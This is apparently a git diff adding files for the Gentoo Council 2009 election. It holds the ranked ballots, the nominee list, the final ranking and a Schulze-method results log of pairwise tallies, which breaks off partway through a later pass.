+solar
+patrick
+betelgeuse
+dertobi123 ulm ssuominen leio
+_reopen_nominations
+lu_zero
+scarabeus
+gentoofan23
+dev-zero
+peper
+--------- confirmation becd ---------
+solar
+ulm
+lu_zero
+dev-zero
+dertobi123
+betelgeuse
+leio
+scarabeus
+ssuominen
+--------- confirmation bfda ---------
+lu_zero dertobi123 leio calchan dev-zero betelgeuse solar peper gentoofan23
+patrick
+ulm
+ssuominen
+--------- confirmation c25f ---------
+ulm
+dev-zero
+betelgeuse
+calchan
+gentoofan23
+dertobi123
+peper
+lu_zero patrick scarabeus ssuominen
+solar leio
+--------- confirmation 01f9 ---------
+patrick lu_zero
+betelgeuse calchan
+solar
+ulm
+ssuominen
+gentoofan23
+peper dev-zero
+leio
+dertobi123
+scarabeus
+--------- confirmation c69e ---------
+betelgeuse calchan gentoofan23 dev-zero
+dertobi123
+_reopen_nominations
+--------- confirmation c87d ---------
+leio
+patrick
+solar
+calchan
+ulm
+gentoofan23
+scarabeus
+dertobi123 betelgeuse ssuominen
+lu_zero
+dev-zero
+_reopen_nominations
+peper
+--------- confirmation c92c ---------
+patrick scarabeus
+leio ulm
+calchan solar ssuominen
+betelgeuse dertobi123 lu_zero
+_reopen_nominations
+gentoofan23
+dev-zero
+peper
+--------- confirmation cc7b ---------
+solar
+patrick
+betelgeuse
+dertobi123 leio scarabeus lu_zero ulm dev-zero ssuominen peper gentoofan23 calchan
+--------- confirmation cc8f ---------
+solar
+leio
+betelgeuse
+patrick
+scarabeus
+dev-zero
+ssuominen
+calchan dertobi123 gentoofan23 lu_zero peper ulm
+--------- confirmation cdd3 ---------
+betelgeuse
+ulm
+solar
+_reopen_nominations
+gentoofan23 patrick peper dertobi123 scarabeus ssuominen calchan leio lu_zero
+dev-zero
+--------- confirmation ce63 ---------
+betelgeuse peper gentoofan23 dev-zero dertobi123
+ssuominen lu_zero calchan solar
+scarabeus ulm leio
+_reopen_nominations
+patrick
+--------- confirmation cef5 ---------
+solar calchan leio
+lu_zero
+ssuominen
+dertobi123 ulm gentoofan23
+betelgeuse dev-zero scarabeus
+peper
+_reopen_nominations
+patrick
+--------- confirmation cf0e ---------
+solar
+lu_zero
+dertobi123 peper patrick ulm
+leio calchan betelgeuse scarabeus dev-zero gentoofan23
+ssuominen
+--------- confirmation cffd ---------
+betelgeuse
+lu_zero
+ssuominen
+solar
+gentoofan23
+ulm
+patrick
+dertobi123 leio dev-zero peper scarabeus calchan
+_reopen_nominations
+--------- confirmation d05d ---------
+patrick
+leio lu_zero ulm
+solar scarabeus
+calchan
+ssuominen
+dertobi123
+_reopen_nominations
+--------- confirmation d21b ---------
+dertobi123
+dev-zero
+ulm
+calchan
+solar
+ssuominen
+leio
+lu_zero
+patrick
+betelgeuse
+_reopen_nominations
+peper
+scarabeus
+gentoofan23
+--------- confirmation d493 ---------
+ssuominen
+scarabeus
+gentoofan23
+calchan
+patrick
+peper
+dertobi123
+betelgeuse
+ulm
+leio
+solar
+lu_zero
+dev-zero
+_reopen_nominations
+--------- confirmation d5cd ---------
+solar
+betelgeuse ssuominen calchan gentoofan23
+_reopen_nominations
+ulm dertobi123
+scarabeus
+leio peper dev-zero
+lu_zero patrick
+--------- confirmation d6f8 ---------
+gentoofan23
+dev-zero
+betelgeuse
+dertobi123 ssuominen ulm lu_zero
+solar calchan leio
+peper scarabeus
+patrick
+_reopen_nominations
+--------- confirmation d7d1 ---------
+calchan
+scarabeus
+gentoofan23
+patrick
+dev-zero
+betelgeuse
+dertobi123
+_reopen_nominations
+ssuominen leio solar peper lu_zero
+ulm
+--------- confirmation db97 ---------
+lu_zero
+leio dev-zero
+betelgeuse dertobi123 ulm
+scarabeus calchan
+solar
+ssuominen
+peper
+gentoofan23 patrick
+--------- confirmation ddcc ---------
+dev-zero solar calchan lu_zero betelgeuse dertobi123 ssuominen ulm leio
+patrick gentoofan23 scarabeus peper
+_reopen_nominations
+--------- confirmation e189 ---------
+ulm
+leio
+betelgeuse dertobi123
+calchan gentoofan23
+solar
+ssuominen lu_zero patrick dev-zero
+peper scarabeus
+_reopen_nominations
+--------- confirmation e303 ---------
+betelgeuse
+scarabeus
+dev-zero calchan
+dertobi123 ssuominen ulm
+gentoofan23
+_reopen_nominations
+peper
+leio
+lu_zero patrick solar
+--------- confirmation e459 ---------
+peper
+gentoofan23 dev-zero
+ssuominen betelgeuse dertobi123
+leio ulm scarabeus
+lu_zero solar calchan
+_reopen_nominations
+patrick
+--------- confirmation 16e7 ---------
+dev-zero
+solar
+betelgeuse
+dertobi123
+ssuominen
+gentoofan23
+scarabeus
+calchan
+peper
+_reopen_nominations
+ulm patrick lu_zero leio
+--------- confirmation e523 ---------
+solar
+calchan
+betelgeuse
+leio
+lu_zero
+dertobi123
+dev-zero
+patrick
+ulm
+peper
+ssuominen
+scarabeus
+gentoofan23
+_reopen_nominations
+--------- confirmation 1705 ---------
+lu_zero dertobi123 solar dev-zero leio betelgeuse
+ssuominen patrick calchan ulm
+peper scarabeus gentoofan23
+_reopen_nominations
+--------- confirmation ea6b ---------
+solar
+leio
+patrick
+ulm
+lu_zero
+scarabeus
+dertobi123
+ssuominen
+gentoofan23
+_reopen_nominations
+peper
+dev-zero
+betelgeuse
+calchan
+--------- confirmation eab4 ---------
+dev-zero
+solar
+betelgeuse
+scarabeus calchan leio ulm lu_zero dertobi123 gentoofan23 peper patrick ssuominen
+_reopen_nominations
+--------- confirmation eb65 ---------
+ulm
+leio betelgeuse ssuominen
+dertobi123 patrick
+solar calchan
+_reopen_nominations
+lu_zero
+dev-zero peper gentoofan23 scarabeus
+--------- confirmation ebe2 ---------
+solar
+leio
+patrick
+dertobi123
+ulm
+lu_zero
+dev-zero
+calchan
+gentoofan23
+betelgeuse
+scarabeus
+peper
+ssuominen
+_reopen_nominations
+--------- confirmation ec00 ---------
+gentoofan23
+betelgeuse
+calchan
+ulm
+solar
+dertobi123
+scarabeus
+ssuominen
+_reopen_nominations
+patrick leio
+peper
+lu_zero
+dev-zero
+--------- confirmation 17c5 ---------
+dertobi123
+ulm leio lu_zero
+solar
+scarabeus
+_reopen_nominations
+patrick gentoofan23 betelgeuse calchan dev-zero peper ssuominen
+--------- confirmation 17cc ---------
+calchan solar
+gentoofan23
+patrick scarabeus
+ssuominen betelgeuse
+_reopen_nominations
+dev-zero leio lu_zero dertobi123
+peper ulm
+--------- confirmation eea1 ---------
+calchan
+patrick
+solar
+betelgeuse
+gentoofan23
+dev-zero
+scarabeus
+dertobi123
+lu_zero
+ulm
+leio
+ssuominen
+peper
+_reopen_nominations
+--------- confirmation f10e ---------
+calchan
+ulm
+leio
+patrick
+scarabeus
+solar
+ssuominen
+lu_zero
+_reopen_nominations
+dertobi123 betelgeuse peper gentoofan23 dev-zero
+--------- confirmation f4fe ---------
+leio
+solar
+patrick
+ulm
+lu_zero
+scarabeus
+ssuominen
+gentoofan23
+dertobi123
+calchan
+betelgeuse
+_reopen_nominations
+peper
+dev-zero
+--------- confirmation f73b ---------
+gentoofan23 scarabeus
+betelgeuse
+patrick calchan leio
+--------- confirmation f73c ---------
+solar
+lu_zero
+patrick
+leio
+ssuominen
+dertobi123
+ulm
+scarabeus
+calchan
+betelgeuse
+_reopen_nominations
+gentoofan23
+dev-zero
+peper
+--------- confirmation f7d8 ---------
+dertobi123
+solar
+betelgeuse
+ssuominen
+calchan
+lu_zero
+dev-zero
+ulm
+scarabeus
+leio
+patrick
+peper
+gentoofan23
+--------- confirmation f813 ---------
+calchan
+gentoofan23
+betelgeuse
+patrick
+--------- confirmation f853 ---------
+leio
+betelgeuse
+dertobi123
+scarabeus
+gentoofan23
+dev-zero
+calchan
+solar
+patrick
+_reopen_nominations
+lu_zero ssuominen ulm peper
+--------- confirmation f944 ---------
+solar
+betelgeuse
+dertobi123
+lu_zero
+peper
+ulm
+dev-zero
+gentoofan23
+ssuominen
+patrick
+calchan
+scarabeus
+leio
+--------- confirmation 191b ---------
+solar leio gentoofan23
+betelgeuse ulm calchan
+dev-zero scarabeus peper dertobi123
+_reopen_nominations
+lu_zero ssuominen
+patrick
+--------- confirmation fcac ---------
+peper calchan betelgeuse gentoofan23
+dertobi123 dev-zero ssuominen
+ulm leio solar
+lu_zero
+_reopen_nominations
+patrick scarabeus
+--------- confirmation fd50 ---------
+solar
+lu_zero
+leio
+ulm
+scarabeus
+ssuominen
+dertobi123
+patrick
+calchan
+_reopen_nominations
+gentoofan23
+betelgeuse
+peper
+dev-zero
+--------- confirmation ff19 ---------
+solar
+betelgeuse patrick
+ssuominen
+dertobi123
+leio
+lu_zero
+ulm
+calchan dev-zero gentoofan23 scarabeus
+peper
+--------- confirmation 02ed ---------
+solar ulm dertobi123
+lu_zero calchan leio dev-zero
+ssuominen betelgeuse
+gentoofan23 scarabeus
+peper patrick _reopen_nominations
+--------- confirmation 2001 ---------
+betelgeuse scarabeus calchan
+gentoofan23 solar ulm leio
+dertobi123 patrick
+lu_zero
+ssuominen peper
+dev-zero
+_reopen_nominations
+--------- confirmation 2335 ---------
+solar
+dertobi123
+dev-zero
+calchan
+betelgeuse
+gentoofan23
+ulm
+ssuominen
+patrick
+leio
+peper
+lu_zero
+scarabeus
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2009/council-200906-nominees.xml b/xml/htdocs/proj/en/elections/council/2009/council-200906-nominees.xml
new file mode 100644
index 00000000..fe21d049
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/council-200906-nominees.xml
@@ -0,0 +1,61 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/elections/council/2009/council-200906-nominees.xml,v 1.1 2009/07/01 23:58:00 jmbsvicetto Exp $ -->
+<!DOCTYPE election SYSTEM "/dtd/election.dtd">
+<?xml-stylesheet href="/xsl/election.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<election>
+  <title>Gentoo Council 2009/2010 Nominations</title>
+
+<author title="Election Official">
+  <mail link="rane"/>
+</author>
+<author title="Election Official">
+  <mail link="jmbsvicetto"/>
+</author>
+<author title="Election Official">
+  <mail link="NeddySeagoon"/>
+</author>
+<author title="Infrastructure Contact">
+  <mail link="fox2mike"/>
+</author>
+
+<date>2009-06-21</date>
+<version>19</version>
+
+<nominations from="2009-06-01" to="2009-06-14">
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~betelgeuse/manifesto-2009.html" council="yes" devrel="yes">betelgeuse</nominee>
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~calchan/manifesto09/manifesto.html" devrel="yes">calchan</nominee>
+  <nominee accepted="yes" platform="http://www.scherbaum.info/~tobias/manifesto" council="yes">dertobi123</nominee>
+  <nominee accepted="yes" platform="http://dev-zero.ch/blog/articles/6/manifest" council="yes">dev-zero</nominee>
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~gentoofan23/2009Manifesto/manifesto.html">gentoofan23</nominee>
+  <nominee accepted="yes" council="yes">leio</nominee>
+  <nominee accepted="yes" council="yes">lu_zero</nominee>
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~patrick/Manifesto.html">patrick</nominee>
+  <nominee accepted="yes">peper</nominee>
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~scarabeus/manifesto.html">scarabeus</nominee>
+  <nominee accepted="yes">solar</nominee>
+  <nominee accepted="yes">ssuominen</nominee>
+  <nominee accepted="yes" council="yes">ulm</nominee>
+
+  <nominee > </nominee>
+
+  <nominee accepted="no">amne</nominee>
+  <nominee accepted="no">arfrever</nominee>
+  <nominee accepted="no">armin76</nominee>
+  <nominee accepted="no" council="yes">cardoe</nominee>
+  <nominee accepted="no">darkside</nominee>
+  <nominee accepted="no">dirtyepic</nominee>
+  <nominee accepted="no" trustee="yes">fmccor</nominee>
+  <nominee accepted="no">grobian</nominee>
+  <nominee accepted="no">halcy0n</nominee>
+  <nominee accepted="no" trustee="yes">quantumsummers</nominee>
+  <nominee accepted="no" trustee="yes">robbat2</nominee>
+  <nominee accepted="no">tove</nominee>
+  <nominee accepted="no">zmedico</nominee>
+<!-- examples
+  <nominee accepted="yes" platform="../council/voting-logs/nominees/2008/dev-zero.txt">dev-zero</nominee>
+  <nominee > </nominee>
+-->
+</nominations>
+</election>
diff --git a/xml/htdocs/proj/en/elections/council/2009/council-200906-rank.txt b/xml/htdocs/proj/en/elections/council/2009/council-200906-rank.txt
new file mode 100644
index 00000000..1b8bac39
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/council-200906-rank.txt
@@ -0,0 +1,14 @@
+solar
+betelgeuse
+calchan
+dertobi123
+ulm
+leio
+lu_zero
+patrick
+dev-zero
+ssuominen
+scarabeus
+gentoofan23
+peper
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2009/council-200906-results.txt b/xml/htdocs/proj/en/elections/council/2009/council-200906-results.txt
new file mode 100644
index 00000000..30b85bac
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/council-200906-results.txt
@@ -0,0 +1,483 @@
+_reopen_nominations
+betelgeuse
+calchan
+dertobi123
+dev-zero
+gentoofan23
+lu_zero
+patrick
+peper
+scarabeus
+solar
+ssuominen
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse    109    ***     55     58     69     71     63     69     77     98     81     52     77     66
+            calchan    114     46    ***     53     66     68     61     63     73     92     72     48     72     58
+         dertobi123    112     45     49    ***     61     61     58     60     67     86     73     46     68     53
+           dev-zero     84     31     38     38    ***     40     43     45     53     66     51     40     57     51
+        gentoofan23     95     33     29     44     53    ***     45     47     50     69     49     34     52     43
+               leio    102     46     40     44     65     62    ***     49     69     83     67     42     60     44
+            lu_zero     98     44     40     40     61     68     46    ***     62     82     72     33     60     48
+            patrick     98     41     32     44     58     55     39     49    ***     73     54     40     53     45
+              peper     72     12      9     14     22     15     19     25     29    ***     22     20     26     17
+          scarabeus    104     37     31     37     52     50     37     43     41     73    ***     37     50     34
+              solar    106     64     58     61     73     80     62     65     80     92     80    ***     75     63
+          ssuominen    102     33     29     32     53     55     40     39     54     74     52     30    ***     34
+                ulm    110     47     46     41     58     63     48     50     65     77     67     43     61    ***
+
+option _reopen_nominations is eliminated (betelgeuse trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat betelgeuse)
+option betelgeuse is eliminated (solar trans-defeats betelgeuse, and betelgeuse does not trans-defeat solar)
+option calchan is eliminated (betelgeuse trans-defeats calchan, and calchan does not trans-defeat betelgeuse)
+option dertobi123 is eliminated (betelgeuse trans-defeats dertobi123, and dertobi123 does not trans-defeat betelgeuse)
+option dev-zero is eliminated (betelgeuse trans-defeats dev-zero, and dev-zero does not trans-defeat betelgeuse)
+option gentoofan23 is eliminated (betelgeuse trans-defeats gentoofan23, and gentoofan23 does not trans-defeat betelgeuse)
+option leio is eliminated (betelgeuse trans-defeats leio, and leio does not trans-defeat betelgeuse)
+option lu_zero is eliminated (betelgeuse trans-defeats lu_zero, and lu_zero does not trans-defeat betelgeuse)
+option patrick is eliminated (betelgeuse trans-defeats patrick, and patrick does not trans-defeat betelgeuse)
+option peper is eliminated (betelgeuse trans-defeats peper, and peper does not trans-defeat betelgeuse)
+option scarabeus is eliminated (betelgeuse trans-defeats scarabeus, and scarabeus does not trans-defeat betelgeuse)
+option ssuominen is eliminated (betelgeuse trans-defeats ssuominen, and ssuominen does not trans-defeat betelgeuse)
+option ulm is eliminated (betelgeuse trans-defeats ulm, and ulm does not trans-defeat betelgeuse)
+the Schwartz set is {solar}
+
+result: option solar wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse    109    ***     55     58     69     71     63     69     77     98     81     52     77     66
+            calchan    114     46    ***     53     66     68     61     63     73     92     72     48     72     58
+         dertobi123    112     45     49    ***     61     61     58     60     67     86     73     46     68     53
+           dev-zero     84     31     38     38    ***     40     43     45     53     66     51     40     57     51
+        gentoofan23     95     33     29     44     53    ***     45     47     50     69     49     34     52     43
+               leio    102     46     40     44     65     62    ***     49     69     83     67     42     60     44
+            lu_zero     98     44     40     40     61     68     46    ***     62     82     72     33     60     48
+            patrick     98     41     32     44     58     55     39     49    ***     73     54     40     53     45
+              peper     72     12      9     14     22     15     19     25     29    ***     22     20     26     17
+          scarabeus    104     37     31     37     52     50     37     43     41     73    ***     37     50     34
+              solar     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+          ssuominen    102     33     29     32     53     55     40     39     54     74     52     30    ***     34
+                ulm    110     47     46     41     58     63     48     50     65     77     67     43     61    ***
+
+option _reopen_nominations is eliminated (betelgeuse trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat betelgeuse)
+option calchan is eliminated (betelgeuse trans-defeats calchan, and calchan does not trans-defeat betelgeuse)
+option dertobi123 is eliminated (betelgeuse trans-defeats dertobi123, and dertobi123 does not trans-defeat betelgeuse)
+option dev-zero is eliminated (betelgeuse trans-defeats dev-zero, and dev-zero does not trans-defeat betelgeuse)
+option gentoofan23 is eliminated (betelgeuse trans-defeats gentoofan23, and gentoofan23 does not trans-defeat betelgeuse)
+option leio is eliminated (betelgeuse trans-defeats leio, and leio does not trans-defeat betelgeuse)
+option lu_zero is eliminated (betelgeuse trans-defeats lu_zero, and lu_zero does not trans-defeat betelgeuse)
+option patrick is eliminated (betelgeuse trans-defeats patrick, and patrick does not trans-defeat betelgeuse)
+option peper is eliminated (betelgeuse trans-defeats peper, and peper does not trans-defeat betelgeuse)
+option scarabeus is eliminated (betelgeuse trans-defeats scarabeus, and scarabeus does not trans-defeat betelgeuse)
+option ssuominen is eliminated (betelgeuse trans-defeats ssuominen, and ssuominen does not trans-defeat betelgeuse)
+option ulm is eliminated (betelgeuse trans-defeats ulm, and ulm does not trans-defeat betelgeuse)
+the Schwartz set is {betelgeuse}
+
+result: option betelgeuse wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+            calchan    114     46    ***     53     66     68     61     63     73     92     72     48     72     58
+         dertobi123    112     45     49    ***     61     61     58     60     67     86     73     46     68     53
+           dev-zero     84     31     38     38    ***     40     43     45     53     66     51     40     57     51
+        gentoofan23     95     33     29     44     53    ***     45     47     50     69     49     34     52     43
+               leio    102     46     40     44     65     62    ***     49     69     83     67     42     60     44
+            lu_zero     98     44     40     40     61     68     46    ***     62     82     72     33     60     48
+            patrick     98     41     32     44     58     55     39     49    ***     73     54     40     53     45
+              peper     72     12      9     14     22     15     19     25     29    ***     22     20     26     17
+          scarabeus    104     37     31     37     52     50     37     43     41     73    ***     37     50     34
+              solar     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+          ssuominen    102     33     29     32     53     55     40     39     54     74     52     30    ***     34
+                ulm    110     47     46     41     58     63     48     50     65     77     67     43     61    ***
+
+option _reopen_nominations is eliminated (calchan trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat calchan)
+option dertobi123 is eliminated (calchan trans-defeats dertobi123, and dertobi123 does not trans-defeat calchan)
+option dev-zero is eliminated (calchan trans-defeats dev-zero, and dev-zero does not trans-defeat calchan)
+option gentoofan23 is eliminated (calchan trans-defeats gentoofan23, and gentoofan23 does not trans-defeat calchan)
+option leio is eliminated (calchan trans-defeats leio, and leio does not trans-defeat calchan)
+option lu_zero is eliminated (calchan trans-defeats lu_zero, and lu_zero does not trans-defeat calchan)
+option patrick is eliminated (calchan trans-defeats patrick, and patrick does not trans-defeat calchan)
+option peper is eliminated (calchan trans-defeats peper, and peper does not trans-defeat calchan)
+option scarabeus is eliminated (calchan trans-defeats scarabeus, and scarabeus does not trans-defeat calchan)
+option ssuominen is eliminated (calchan trans-defeats ssuominen, and ssuominen does not trans-defeat calchan)
+option ulm is eliminated (calchan trans-defeats ulm, and ulm does not trans-defeat calchan)
+the Schwartz set is {calchan}
+
+result: option calchan wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+            calchan     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+         dertobi123    112     45     49    ***     61     61     58     60     67     86     73     46     68     53
+           dev-zero     84     31     38     38    ***     40     43     45     53     66     51     40     57     51
+        gentoofan23     95     33     29     44     53    ***     45     47     50     69     49     34     52     43
+               leio    102     46     40     44     65     62    ***     49     69     83     67     42     60     44
+            lu_zero     98     44     40     40     61     68     46    ***     62     82     72     33     60     48
+            patrick     98     41     32     44     58     55     39     49    ***     73     54     40     53     45
+              peper     72     12      9     14     22     15     19     25     29    ***     22     20     26     17
+          scarabeus    104     37     31     37     52     50     37     43     41     73    ***     37     50     34
+              solar     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+          ssuominen    102     33     29     32     53     55     40     39     54     74     52     30    ***     34
+                ulm    110     47     46     41     58     63     48     50     65     77     67     43     61    ***
+
+option _reopen_nominations is eliminated (dertobi123 trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat dertobi123)
+option dev-zero is eliminated (dertobi123 trans-defeats dev-zero, and dev-zero does not trans-defeat dertobi123)
+option gentoofan23 is eliminated (dertobi123 trans-defeats gentoofan23, and gentoofan23 does not trans-defeat dertobi123)
+option leio is eliminated (dertobi123 trans-defeats leio, and leio does not trans-defeat dertobi123)
+option lu_zero is eliminated (dertobi123 trans-defeats lu_zero, and lu_zero does not trans-defeat dertobi123)
+option patrick is eliminated (dertobi123 trans-defeats patrick, and patrick does not trans-defeat dertobi123)
+option peper is eliminated (dertobi123 trans-defeats peper, and peper does not trans-defeat dertobi123)
+option scarabeus is eliminated (dertobi123 trans-defeats scarabeus, and scarabeus does not trans-defeat dertobi123)
+option ssuominen is eliminated (dertobi123 trans-defeats ssuominen, and ssuominen does not trans-defeat dertobi123)
+option ulm is eliminated (dertobi123 trans-defeats ulm, and ulm does not trans-defeat dertobi123)
+the Schwartz set is {dertobi123}
+
+result: option dertobi123 wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+            calchan     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+         dertobi123     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           dev-zero     84     31     38     38    ***     40     43     45     53     66     51     40     57     51
+        gentoofan23     95     33     29     44     53    ***     45     47     50     69     49     34     52     43
+               leio    102     46     40     44     65     62    ***     49     69     83     67     42     60     44
+            lu_zero     98     44     40     40     61     68     46    ***     62     82     72     33     60     48
+            patrick     98     41     32     44     58     55     39     49    ***     73     54     40     53     45
+              peper     72     12      9     14     22     15     19     25     29    ***     22     20     26     17
+          scarabeus    104     37     31     37     52     50     37     43     41     73    ***     37     50     34
+              solar     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+          ssuominen    102     33     29     32     53     55     40     39     54     74     52     30    ***     34
+                ulm    110     47     46     41     58     63     48     50     65     77     67     43     61    ***
+
+option _reopen_nominations is eliminated (dev-zero trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat dev-zero)
+option dev-zero is eliminated (leio trans-defeats dev-zero, and dev-zero does not trans-defeat leio)
+option gentoofan23 is eliminated (leio trans-defeats gentoofan23, and gentoofan23 does not trans-defeat leio)
+option leio is eliminated (ulm trans-defeats leio, and leio does not trans-defeat ulm)
+option lu_zero is eliminated (leio trans-defeats lu_zero, and lu_zero does not trans-defeat leio)
+option patrick is eliminated (leio trans-defeats patrick, and patrick does not trans-defeat leio)
+option peper is eliminated (dev-zero trans-defeats peper, and peper does not trans-defeat dev-zero)
+option scarabeus is eliminated (leio trans-defeats scarabeus, and scarabeus does not trans-defeat leio)
+option ssuominen is eliminated (leio trans-defeats ssuominen, and ssuominen does not trans-defeat leio)
+the Schwartz set is {ulm}
+
+result: option ulm wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+            calchan     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+         dertobi123     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           dev-zero     84     31     38     38    ***     40     43     45     53     66     51     40     57     51
+        gentoofan23     95     33     29     44     53    ***     45     47     50     69     49     34     52     43
+               leio    102     46     40     44     65     62    ***     49     69     83     67     42     60     44
+            lu_zero     98     44     40     40     61     68     46    ***     62     82     72     33     60     48
+            patrick     98     41     32     44     58     55     39     49    ***     73     54     40     53     45
+              peper     72     12      9     14     22     15     19     25     29    ***     22     20     26     17
+          scarabeus    104     37     31     37     52     50     37     43     41     73    ***     37     50     34
+              solar     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+          ssuominen    102     33     29     32     53     55     40     39     54     74     52     30    ***     34
+                ulm     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (dev-zero trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat dev-zero)
+option dev-zero is eliminated (leio trans-defeats dev-zero, and dev-zero does not trans-defeat leio)
+option gentoofan23 is eliminated (leio trans-defeats gentoofan23, and gentoofan23 does not trans-defeat leio)
+option lu_zero is eliminated (leio trans-defeats lu_zero, and lu_zero does not trans-defeat leio)
+option patrick is eliminated (leio trans-defeats patrick, and patrick does not trans-defeat leio)
+option peper is eliminated (dev-zero trans-defeats peper, and peper does not trans-defeat dev-zero)
+option scarabeus is eliminated (leio trans-defeats scarabeus, and scarabeus does not trans-defeat leio)
+option ssuominen is eliminated (leio trans-defeats ssuominen, and ssuominen does not trans-defeat leio)
+the Schwartz set is {leio}
+
+result: option leio wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+            calchan     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+         dertobi123     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           dev-zero     84     31     38     38    ***     40     43     45     53     66     51     40     57     51
+        gentoofan23     95     33     29     44     53    ***     45     47     50     69     49     34     52     43
+               leio     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            lu_zero     98     44     40     40     61     68     46    ***     62     82     72     33     60     48
+            patrick     98     41     32     44     58     55     39     49    ***     73     54     40     53     45
+              peper     72     12      9     14     22     15     19     25     29    ***     22     20     26     17
+          scarabeus    104     37     31     37     52     50     37     43     41     73    ***     37     50     34
+              solar     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+          ssuominen    102     33     29     32     53     55     40     39     54     74     52     30    ***     34
+                ulm     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (dev-zero trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat dev-zero)
+option dev-zero is eliminated (lu_zero trans-defeats dev-zero, and dev-zero does not trans-defeat lu_zero)
+option gentoofan23 is eliminated (lu_zero trans-defeats gentoofan23, and gentoofan23 does not trans-defeat lu_zero)
+option patrick is eliminated (lu_zero trans-defeats patrick, and patrick does not trans-defeat lu_zero)
+option peper is eliminated (dev-zero trans-defeats peper, and peper does not trans-defeat dev-zero)
+option scarabeus is eliminated (lu_zero trans-defeats scarabeus, and scarabeus does not trans-defeat lu_zero)
+option ssuominen is eliminated (lu_zero trans-defeats ssuominen, and ssuominen does not trans-defeat lu_zero)
+the Schwartz set is {lu_zero}
+
+result: option lu_zero wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+            calchan     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+         dertobi123     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           dev-zero     84     31     38     38    ***     40     43     45     53     66     51     40     57     51
+        gentoofan23     95     33     29     44     53    ***     45     47     50     69     49     34     52     43
